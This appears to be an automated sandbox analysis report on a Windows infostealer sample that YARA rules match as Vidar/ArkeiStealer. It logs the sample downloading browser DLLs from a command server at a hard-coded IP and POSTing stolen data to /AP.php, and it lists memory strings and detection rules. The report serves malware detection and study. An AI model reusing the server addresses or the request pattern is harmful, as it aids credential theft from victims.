61 74 61 00 00 00 44 06 00 00 00 00 01 00 00 02 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 b8 05 00 00 00 10 01 00 00 06 00 00 00 f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 08 04 00 00 00 20 01 00 00 06 00 00 00 f6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 0a 00 00 00 30 01 00 00 0c 00 00 00 fc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /AP.php HTTP/1.1Host: 104.194.151.11Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlite3.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=b3u9hav1olc0n52fh9vffsg04r
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=b3u9hav1olc0n52fh9vffsg04r
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=b3u9hav1olc0n52fh9vffsg04r
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=b3u9hav1olc0n52fh9vffsg04r
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=b3u9hav1olc0n52fh9vffsg04r
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=b3u9hav1olc0n52fh9vffsg04r
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=b3u9hav1olc0n52fh9vffsg04r
Source: global traffic	HTTP traffic detected: POST /AP.php HTTP/1.1Content-Type: multipart/form-data; boundary=----SJMO89RQIEUAAASJHost: 104.194.151.11Content-Length: 81414Connection: Keep-AliveCache-Control: no-cacheCookie: PHPSESSID=b3u9hav1olc0n52fh9vffsg04r

Source: Joe Sandbox View

ASN Name: PONYNETUS PONYNETUS

Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe

Code function: 0_2_004052D0 InternetOpenA,StrCmpCA,InternetSetOptionA,InternetConnectA,InternetConnectA,HttpOpenRequestA,HttpOpenRequestA,HttpSendRequestA,HttpQueryInfoA,StrCmpCA,Sleep,InternetReadFile,lstrcat,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_004052D0

Source: global traffic	HTTP traffic detected: GET /AP.php HTTP/1.1Host: 104.194.151.11Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlite3.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=b3u9hav1olc0n52fh9vffsg04r
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=b3u9hav1olc0n52fh9vffsg04r
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=b3u9hav1olc0n52fh9vffsg04r
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=b3u9hav1olc0n52fh9vffsg04r
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=b3u9hav1olc0n52fh9vffsg04r
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=b3u9hav1olc0n52fh9vffsg04r
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=b3u9hav1olc0n52fh9vffsg04r

Source: unknown

HTTP traffic detected: POST /AP.php HTTP/1.1Content-Type: multipart/form-data; boundary=----SJMO89RQIEUAAASJHost: 104.194.151.11Content-Length: 81414Connection: Keep-AliveCache-Control: no-cacheCookie: PHPSESSID=b3u9hav1olc0n52fh9vffsg04r

Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.00000000006E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/AP.php
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.00000000006E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/freebl3.dll
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.00000000006E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/freebl3.dllM
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.00000000006E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/mozglue.dll
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.00000000006E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/msvcp140.dll
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.00000000006E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/nss3.dll
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.00000000006E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/nss3.dllX
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.00000000006E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/softokn3.dll
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.00000000006E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/softokn3.dllw
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.00000000006E0000.00000004.00000020.00020000.00000000.sdmp, BBiIn5gqhd.exe, 00000000.00000003.2025763944.00000000006E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/sqlite3.dll
Source: BBiIn5gqhd.exe, 00000000.00000003.2025763944.00000000006E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/sqlite3.dlll
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.000000000071A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/vcruntime140.dll
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.000000000071A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/vcruntime140.dll7?
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.000000000071A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/vcruntime140.dllH?
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.194.151.11/vcruntime140.dlll
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.mozilla.com0
Source: BBiIn5gqhd.exe, 00000000.00000003.2039466642.0000000009748000.00000004.00000020.00020000.00000000.sdmp, DJMYU3EC.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: BBiIn5gqhd.exe, 00000000.00000003.2039466642.0000000009748000.00000004.00000020.00020000.00000000.sdmp, DJMYU3EC.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: BBiIn5gqhd.exe, 00000000.00000003.2039466642.0000000009748000.00000004.00000020.00020000.00000000.sdmp, DJMYU3EC.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: BBiIn5gqhd.exe, 00000000.00000003.2039466642.0000000009748000.00000004.00000020.00020000.00000000.sdmp, DJMYU3EC.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: BBiIn5gqhd.exe, 00000000.00000003.2039466642.0000000009748000.00000004.00000020.00020000.00000000.sdmp, DJMYU3EC.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BBiIn5gqhd.exe, 00000000.00000003.2039466642.0000000009748000.00000004.00000020.00020000.00000000.sdmp, DJMYU3EC.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: BBiIn5gqhd.exe, 00000000.00000003.2039466642.0000000009748000.00000004.00000020.00020000.00000000.sdmp, DJMYU3EC.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: BBiIn5gqhd.exe, 00000000.00000003.2078693061.0000000009554000.00000004.00000020.00020000.00000000.sdmp, BBiIn5gqhd.exe, 00000000.00000002.2090642115.000000000A5CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BBiIn5gqhd.exe, 00000000.00000002.2090642115.000000000A5CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: BBiIn5gqhd.exe, 00000000.00000003.2078693061.0000000009554000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: BBiIn5gqhd.exe, 00000000.00000003.2039466642.0000000009748000.00000004.00000020.00020000.00000000.sdmp, DJMYU3EC.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: BBiIn5gqhd.exe, 00000000.00000003.2039466642.0000000009748000.00000004.00000020.00020000.00000000.sdmp, DJMYU3EC.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: BBiIn5gqhd.exe, 00000000.00000002.2090642115.000000000A5CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: BBiIn5gqhd.exe, 00000000.00000003.2078693061.0000000009554000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: BBiIn5gqhd.exe, 00000000.00000002.2090642115.000000000A5CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: BBiIn5gqhd.exe, 00000000.00000003.2078693061.0000000009554000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: BBiIn5gqhd.exe, 00000000.00000002.2090642115.000000000A5CB000.00000004.00000020.00020000.00000000.sdmp, BBiIn5gqhd.exe, 00000000.00000003.2078762843.0000000009520000.00000004.00000020.00020000.00000000.sdmp, BBiIn5gqhd.exe, 00000000.00000003.2078621163.000000000951E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: BBiIn5gqhd.exe, 00000000.00000003.2078693061.0000000009554000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: BBiIn5gqhd.exe, 00000000.00000003.2078762843.0000000009520000.00000004.00000020.00020000.00000000.sdmp, BBiIn5gqhd.exe, 00000000.00000003.2078621163.000000000951E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/fox-desktop&utm_source=bookmarks-toolbar&utm_campaign=
Source: BBiIn5gqhd.exe, 00000000.00000003.2078693061.0000000009554000.00000004.00000020.00020000.00000000.sdmp, BBiIn5gqhd.exe, 00000000.00000002.2090642115.000000000A5CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: BBiIn5gqhd.exe, 00000000.00000003.2078693061.0000000009554000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: BBiIn5gqhd.exe, 00000000.00000002.2090642115.000000000A5CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: BBiIn5gqhd.exe, 00000000.00000003.2078693061.0000000009554000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_ArkeiStealer_84c7086a Author: unknown
Source: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_ArkeiStealer_84c7086a Author: unknown
Source: 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: Process Memory Space: BBiIn5gqhd.exe PID: 6592, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: decrypted.memstr, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Code function: 0_2_00410600	0_2_00410600
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Code function: 0_2_00410C00	0_2_00410C00
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Code function: 0_2_00410A10	0_2_00410A10
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Code function: 0_2_00411490	0_2_00411490

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll A770ECBA3B08BBABD0A567FC978E50615F8B346709F8EB3CFACF3FAAB24090BA

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe

Code function: String function: 00404A00 appears 470 times

Source: sqlite3.dll.0.dr	Static PE information: Number of sections : 19 > 10
Source: sqlite3[1].dll.0.dr	Static PE information: Number of sections : 19 > 10

Source: BBiIn5gqhd.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_ArkeiStealer_84c7086a reference_sample = 708d9fb40f49192d4bf6eff62e0140c920a7eca01b9f78aeaf558bef0115dbe2, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.ArkeiStealer, fingerprint = f1d701463b0001de8996b30d2e36ddecb93fe4ca2a1a26fc4fcdaeb0aa3a3d6d, id = 84c7086a-abc3-4b97-b325-46a078b90a95, last_modified = 2022-04-12
Source: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_ArkeiStealer_84c7086a reference_sample = 708d9fb40f49192d4bf6eff62e0140c920a7eca01b9f78aeaf558bef0115dbe2, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.ArkeiStealer, fingerprint = f1d701463b0001de8996b30d2e36ddecb93fe4ca2a1a26fc4fcdaeb0aa3a3d6d, id = 84c7086a-abc3-4b97-b325-46a078b90a95, last_modified = 2022-04-12
Source: 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: Process Memory Space: BBiIn5gqhd.exe PID: 6592, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: decrypted.memstr, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/24@0/1

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\sqlite3[1].dll

Jump to behavior

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5592:120:WilError_03

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: sqlite3[1].dll.0.dr, nss3.dll.0.dr, nss3[1].dll.0.dr, sqlite3.dll.0.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);docid INTEGER PRIMARY KEY%z, 'c%d%q'%z, langidCREATE TABLE %Q.'%q_content'(%s)CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);m
Source: sqlite3[1].dll.0.dr, sqlite3.dll.0.dr	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
Source: sqlite3[1].dll.0.dr, sqlite3.dll.0.dr	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: sqlite3[1].dll.0.dr, nss3.dll.0.dr, nss3[1].dll.0.dr, sqlite3.dll.0.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL %s FROM %s WHERE id=$ID;
Source: sqlite3[1].dll.0.dr, sqlite3.dll.0.dr	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
